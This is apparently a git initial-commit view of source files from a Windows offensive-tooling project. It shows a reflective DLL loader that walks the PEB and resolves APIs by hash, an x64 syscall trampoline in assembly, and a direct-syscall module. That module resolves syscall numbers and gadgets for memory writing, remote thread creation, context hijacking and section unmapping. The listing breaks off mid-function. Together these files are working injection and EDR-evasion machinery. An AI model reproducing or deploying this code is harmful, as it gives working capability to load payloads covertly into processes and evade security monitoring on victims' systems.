initial commit

This commit is contained in:
i2p
2026-08-27 11:22:01 -06:00
commit 82307da654
284 changed files with 321187 additions and 0 deletions
+256
View File
@@ -0,0 +1,256 @@
// reflective_loader.c
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#include <windows.h>
#include "reflective_loader.h"
#pragma intrinsic(_ReturnAddress)
#pragma intrinsic(_rotr)
static DWORD ror_dword_loader(DWORD d)
{
return _rotr(d, HASH_KEY);
}
static DWORD hash_string_loader(char *c)
{
DWORD h = 0;
do
{
h = ror_dword_loader(h);
h += *c;
} while (*++c);
return h;
}
__declspec(noinline) ULONG_PTR GetIp(VOID)
{
return (ULONG_PTR)_ReturnAddress();
}
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
{
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
GETPROCADDRESS_FN fnGetProcAddress = NULL;
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
ULONG_PTR uiDllBase;
ULONG_PTR uiPeb;
ULONG_PTR uiKernel32Base = 0;
ULONG_PTR uiNtdllBase = 0;
PIMAGE_NT_HEADERS pNtHeaders_current;
PIMAGE_DOS_HEADER pDosHeader_current;
uiDllBase = GetIp();
while (TRUE)
{
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
{
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
break;
}
uiDllBase--;
}
#if defined(_M_X64)
uiPeb = __readgsqword(0x60);
#elif defined(_M_ARM64)
uiPeb = __readx18qword(0x60);
#else
return 0;
#endif
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
{
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
{
DWORD dwModuleHash = 0;
USHORT usCounter = pEntry->BaseDllName.Length;
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
do
{
dwModuleHash = ror_dword_loader(dwModuleHash);
if (*pNameByte >= 'a' && *pNameByte <= 'z')
{
dwModuleHash += (*pNameByte - 0x20);
}
else
{
dwModuleHash += *pNameByte;
}
pNameByte++;
} while (--usCounter);
if (dwModuleHash == KERNEL32DLL_HASH)
{
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
}
else if (dwModuleHash == NTDLLDLL_HASH)
{
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if (!uiKernel32Base || !uiNtdllBase)
return 0;
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
{
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
DWORD dwHashVal = hash_string_loader(sName);
if (dwHashVal == LOADLIBRARYA_HASH)
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == GETPROCADDRESS_HASH)
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == VIRTUALALLOC_HASH)
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
break;
}
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
return 0;
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
{
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
{
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
break;
}
}
if (!fnNtFlushInstructionCache)
return 0;
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!uiNewImageBase)
return 0;
PBYTE pSourceBytes = (PBYTE)uiDllBase;
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
{
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
}
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pRelocationData->Size > 0 && uiDelta != 0)
{
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
while (pRelocBlock->VirtualAddress)
{
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD k = 0; k < dwEntryCount; k++)
{
#if defined(_M_X64) || defined(_M_ARM64)
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
}
#else
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
}
#endif
}
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
}
}
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImportData->Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
while (pImportDesc->Name)
{
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
if (hModule)
{
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
if (!pOriginalFirstThunk)
pOriginalFirstThunk = pFirstThunk;
while (pOriginalFirstThunk->u1.AddressOfData)
{
FARPROC pfnImportedFunc;
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
{
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
}
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
pOriginalFirstThunk++;
pFirstThunk++;
}
}
pImportDesc++;
}
}
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
return uiNewImageBase;
}
+213
View File
@@ -0,0 +1,213 @@
// reflective_loader.h
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#ifndef REFLECTIVE_LOADER_H
#define REFLECTIVE_LOADER_H
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>
#if defined(_M_X64) || defined(_M_ARM64)
#define ENVIRONMENT64
#else
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
#endif
#if defined(_MSC_VER)
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT
#endif
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
#define HASH_KEY 13
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
typedef struct _UNICODE_STRING_LDR
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
typedef struct _PEB_LDR_DATA_LDR
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING_LDR FullDllName;
UNICODE_STRING_LDR BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
typedef struct _PEB_LDR
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAware : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA_LDR Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1;
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
ULONG GdiHandleBuffer[60];
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING_LDR CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID SparePointers[2];
PVOID PatchLoaderData;
PVOID ChpeV2ProcessInfo;
ULONG AppModelFeatureState;
ULONG SpareUlongs[2];
USHORT ActiveConsoleId;
USHORT AppCompatVersionInfo;
PVOID ExtendedProcessInfo;
} PEB_LDR, *PPEB_LDR;
typedef struct _IMAGE_RELOC_ENTRY
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
#endif
@@ -0,0 +1,51 @@
; syscall_trampoline_x64.asm
; v0.14.2 (c) Alexander 'xaitax' Hagenah
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
;
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.
; Allocates sufficient stack to prevent overwrite issues. Uses rep movsq for efficient block copy.
; Preserves necessary non-volatile registers. Eliminates dynamic loop to reduce complexity and potential errors.
; Sets SSN before dispatching to gadget. Handles up to 11 syscall arguments safely (copies 8 stack slots, extra as harmless garbage).
.code
ALIGN 16
PUBLIC SyscallTrampoline
SyscallTrampoline PROC FRAME
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
sub rsp, 80h ; Allocate 128 bytes: safe for shadow (0x20) + 8 qwords (0x40) + padding
.ENDPROLOG
mov rbx, rcx ; Preserve SYSCALL_ENTRY* in rbx (non-volatile)
; Marshal register-based arguments (shifted due to extra SYSCALL_ENTRY* parameter)
mov r10, rdx ; Syscall-Arg1 <- C-Arg2
mov rdx, r8 ; Syscall-Arg2 <- C-Arg3
mov r8, r9 ; Syscall-Arg3 <- C-Arg4
mov r9, [rbp+30h] ; Syscall-Arg4 <- C-Arg5 (from caller's stack)
; Unconditionally marshal 8 stack arguments (covers max of 7 needed + 1 extra; garbage for fewer is harmless)
lea rsi, [rbp+38h] ; Source: C-Arg6 (Syscall-Arg5 position in caller's stack)
lea rdi, [rsp+20h] ; Destination: Syscall-Arg5 position in local stack
mov rcx, 8 ; Copy 8 qwords (64 bytes)
rep movsq ; Block copy (efficient and modular)
; Prepare for kernel transition
movzx eax, word ptr [rbx+12] ; Load SSN into EAX
mov r11, [rbx] ; Load gadget address
call r11 ; Dispatch to gadget (syscall; ret)
; Epilogue: Restore stack and registers
add rsp, 80h
pop rsi
pop rdi
pop rbx
pop rbp
ret
SyscallTrampoline ENDP
END
+264
View File
@@ -0,0 +1,264 @@
// syscalls.cpp
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#include "syscalls.h"
#include <vector>
#include <string>
#include <algorithm>
#include <cstdint>
#include <iostream>
#include <sstream>
#include <iomanip>
#include <map>
#include <functional>
SYSCALL_STUBS g_syscall_stubs{};
static bool g_verbose_syscalls = false;
static void debug_print(const std::string &msg)
{
if (g_verbose_syscalls)
{
std::cout << "[#] [Syscalls] " << msg << std::endl;
}
}
extern "C" NTSTATUS SyscallTrampoline(...);
namespace
{
struct SORTED_SYSCALL_MAPPING
{
PVOID pAddress;
LPCSTR szName;
};
bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b)
{
return reinterpret_cast<uintptr_t>(a.pAddress) < reinterpret_cast<uintptr_t>(b.pAddress);
}
PVOID FindSyscallGadget_x64(PVOID pFunction)
{
for (DWORD i = 0; i <= 20; ++i)
{
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
if (*reinterpret_cast<PWORD>(current_addr) == 0x050F && *(current_addr + 2) == 0xC3)
{
return current_addr;
}
}
return nullptr;
}
PVOID FindSvcGadget_ARM64(PVOID pFunction)
{
for (DWORD i = 0; i <= 20; i += 4)
{
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
DWORD instruction = *reinterpret_cast<PDWORD>(current_addr);
if ((instruction & 0xFF000000) == 0xD4000000 && *reinterpret_cast<PDWORD>(current_addr + 4) == 0xD65F03C0)
{
return current_addr;
}
}
return nullptr;
}
}
BOOL InitializeSyscalls(bool is_verbose)
{
g_verbose_syscalls = is_verbose;
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll)
{
debug_print("GetModuleHandleW for ntdll.dll failed.");
return FALSE;
}
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<PBYTE>(hNtdll) + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<PBYTE>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
auto pNameRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNames);
auto pAddressRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfFunctions);
auto pOrdinalRvas = reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNameOrdinals);
std::vector<SORTED_SYSCALL_MAPPING> sortedSyscalls;
sortedSyscalls.reserve(pExportDir->NumberOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i)
{
LPCSTR szFuncName = reinterpret_cast<LPCSTR>(reinterpret_cast<PBYTE>(hNtdll) + pNameRvas[i]);
if (strncmp(szFuncName, "Zw", 2) == 0)
{
PVOID pFuncAddress = reinterpret_cast<PVOID>(reinterpret_cast<PBYTE>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
sortedSyscalls.push_back({pFuncAddress, szFuncName});
}
}
std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings);
debug_print("Found and sorted " + std::to_string(sortedSyscalls.size()) + " Zw* functions.");
struct CStringComparer
{
bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; }
};
const std::map<const char *, std::pair<SYSCALL_ENTRY *, UINT>, CStringComparer> required_syscalls = {
{"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}},
{"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}},
{"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}},
{"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}},
{"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}},
{"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}},
{"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}},
{"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}},
{"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}},
{"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}},
{"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}},
{"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}},
{"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}},
{"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}},
{"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}}};
for (WORD i = 0; i < sortedSyscalls.size(); ++i)
{
const auto &mapping = sortedSyscalls[i];
auto it = required_syscalls.find(mapping.szName);
if (it == required_syscalls.end())
{
continue;
}
PVOID pGadget = nullptr;
#if defined(_M_X64)
pGadget = FindSyscallGadget_x64(mapping.pAddress);
#elif defined(_M_ARM64)
pGadget = FindSvcGadget_ARM64(mapping.pAddress);
#endif
if (pGadget)
{
it->second.first->pSyscallGadget = pGadget;
it->second.first->nArgs = it->second.second;
it->second.first->ssn = i;
}
}
bool all_found = true;
for (const auto &pair : required_syscalls)
{
if (!pair.second.first->pSyscallGadget)
{
all_found = false;
break;
}
}
if (all_found)
{
debug_print("Successfully initialized all direct syscall stubs.");
}
else
{
debug_print("ERROR: One or more required syscall gadgets could not be found.");
}
for (const auto &pair : required_syscalls)
{
const char *name = pair.first;
const auto *stub = pair.second.first;
std::stringstream ss;
ss << " - " << (name + 2);
if (stub->pSyscallGadget)
{
ss << " (SSN: " << stub->ssn << ") -> Gadget: 0x" << std::hex << reinterpret_cast<uintptr_t>(stub->pSyscallGadget);
debug_print(ss.str());
}
else
{
ss << " -> FAILED to find required gadget.";
debug_print(ss.str());
}
}
return all_found;
}
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
}
NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
}
NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
}
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
}
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
}
NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
}
NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
}
NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
}
NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
}
NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
}
NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount)
{
